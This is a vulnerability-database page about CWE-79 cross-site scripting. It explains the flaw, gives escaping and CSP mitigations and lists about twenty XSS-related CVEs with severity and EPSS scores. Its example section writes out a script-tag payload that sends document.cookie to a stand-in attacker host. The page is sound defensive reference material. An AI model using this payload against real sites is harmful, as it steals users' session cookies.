Fallos del tipo CWE-79

29.696 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-3388MEDIUMhailey888 oa_system Frontend LoginsController.java loginCheck cross site scriptingEPSS 0.4%CVE-2025-12510HIGHWidgets for Google Reviews <= 13.2.4 - Unauthenticated Stored Cross-Site Scripting via Google ReviewsEPSS 0.4%CVE-2026-91204MEDIUMApache Roller: Stored javascript: URI in HTML commentsEPSS 0.4%CVE-2026-94277MEDIUMStored Cross-Site Scripting in MISP Galaxy Matrix Statistics via Unescaped Galaxy NameEPSS 0.4%CVE-2023-32515MEDIUMWordPress Custom Field Suite Plugin <= 2.6.2.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-73158MEDIUMcti-transmute Saved Graph Configuration Allows Stored Cross-Site Scripting via svgIconEPSS 0.4%CVE-2025-40729MEDIUMReflected Cross-Site Scripting (XSS) vulnerability in Customer Support SystemEPSS 0.4%CVE-2025-63307HIGHalexusmai laravel-file-manager 3.3.1 is vulnerable to Cross Site Scripting (XSS). The application permits user-controlled upload, create, anEPSS 0.4%CVE-2025-12334MEDIUMcode-projects E-Commerce Website product_add.php cross site scriptingEPSS 0.4%CVE-2024-30558HIGHWordPress Add Shortcodes Actions And Filters plugin <= 2.10 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-10063MEDIUMitsourcecode POS Point of Sale System deferred_table.php cross site scriptingEPSS 0.4%CVE-2025-1830MEDIUMzj1983 zz Customer Information cross site scriptingEPSS 0.4%CVE-2023-46640MEDIUMWordPress Medialist Plugin <= 1.3.9 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-47817MEDIUMUnvalidated paragraph widget values can be used for Cross-site Scripting in lara-zeusEPSS 0.4%CVE-2026-69615LOWMicrosoft Office SharePoint Spoofing VulnerabilityEPSS 0.4%CVE-2024-30561HIGHWordPress Appointment Calendar plugin <= 2.9.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-25314MEDIUMCross Site Scripting (XSS) vulnerability in World Wide Broadcast Network AVideo before 12.4, allows attackers to gain sensitive information EPSS 0.4%CVE-2023-36918MEDIUMCross-Site Scripting vulnerability in SAP Enable NowEPSS 0.4%CVE-2025-9773MEDIUMRemoteClinic edit.php cross site scriptingEPSS 0.4%CVE-2025-34399MEDIUMMailEnable < 10.54 Reflected XSS in AddressesCc Parameter of AddressBook.aspxEPSS 0.4%